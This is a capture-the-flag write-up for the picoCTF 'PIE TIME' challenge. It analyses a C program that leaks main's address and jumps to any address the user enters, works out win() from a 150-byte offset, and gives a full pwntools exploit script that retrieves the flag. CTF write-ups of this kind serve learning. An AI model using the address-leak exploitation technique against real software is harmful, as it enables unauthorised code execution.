PIE TIME
🔗 Challenge Link
https://play.picoctf.org/practice/challenge/490
📂 Category
Binary Exploitation
🔍 Source Code Analysis
We begin by analyzing the provided source code to understand the program's logic, identify potential vulnerabilities, and determine the possible attack vectors
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
⚙️ How the Program Works
The binary functions as follows:
It prints the memory address of the
main()
function in hexadecimal format.It then prompts the user to enter a target address (also in hex).
Finally, it attempts to call the function located at the address provided by the user.
From the provided source code, we observe that there is a function named win()
, which prints the flag when executed. However, this function is not called anywhere within the main()
function.
The interesting part is that the program allows the user to provide a memory address, and it will attempt to call the function located at that address. This is the vulnerability we can exploit.
🎯 Objective
Our goal is to find the memory address of the win()
function and input it when prompted, causing the binary to execute win()
and print the flag.
🛠️ How to Find the Address of win()
win()
Although the program prints the address of main()
, we still need the exact memory address of win()
.
To do this, we can analyze the binary using gdb
(GNU Debugger).

The main address is 0x55555555533d . Let's disassemble main and confirm that

When the binary is executed, it prints the address of the main()
function. This confirms that the printed address is indeed that of main()
in memory.
Now, to reach the win()
function, we can calculate the offset between main()
and win()
, and use it to determine the memory address of win()
at runtime.

Main function address:
0x000055555555533d
Win function address:
0x00005555555552a7


Great! Since the offset is 150 bytes (0x96 in hex), and the binary allows us to input a function pointer, we can write a simple exploit script :
from pwn import *
import re
OFFSET = 150
def conn():
if args.REMOTE:
if args.HOST and args.PORT:
return remote(args.HOST, int(args.PORT))
else:
log.error("Specify both --host and --port for remote connection.")
else:
log.error("Only remote connection is currently supported.")
return None
# Main exploit function
def main():
if args.DEBUG:
context.log_level = "DEBUG"
r = conn()
if r is None:
return
# Receive and parse main address
r.recvuntil(b"Address of main")
main_line = r.recvline().decode().strip()
log.debug(f"Raw main line: {main_line}")
try:
main_address_str = main_line.split(":")[-1].strip()
main_address = int(main_address_str, 16)
log.info(f"Main is at address: {hex(main_address)}")
except (ValueError, IndexError):
log.error("Failed to parse main address.")
return
# Calculate win address
win_address = main_address - OFFSET
log.info(f"Calculated win address: {hex(win_address)}")
# Interact with the binary
r.recvuntil(b'Enter the address to jump to, ex => 0x12345: ')
r.sendline(hex(win_address).encode())
# Receive and print the result
res = r.recvall(timeout=5)
log.success("Received response:")
log.info(res.decode(errors="ignore"))
if __name__ == "__main__":
main()

WOOHOO we got our flag
Last updated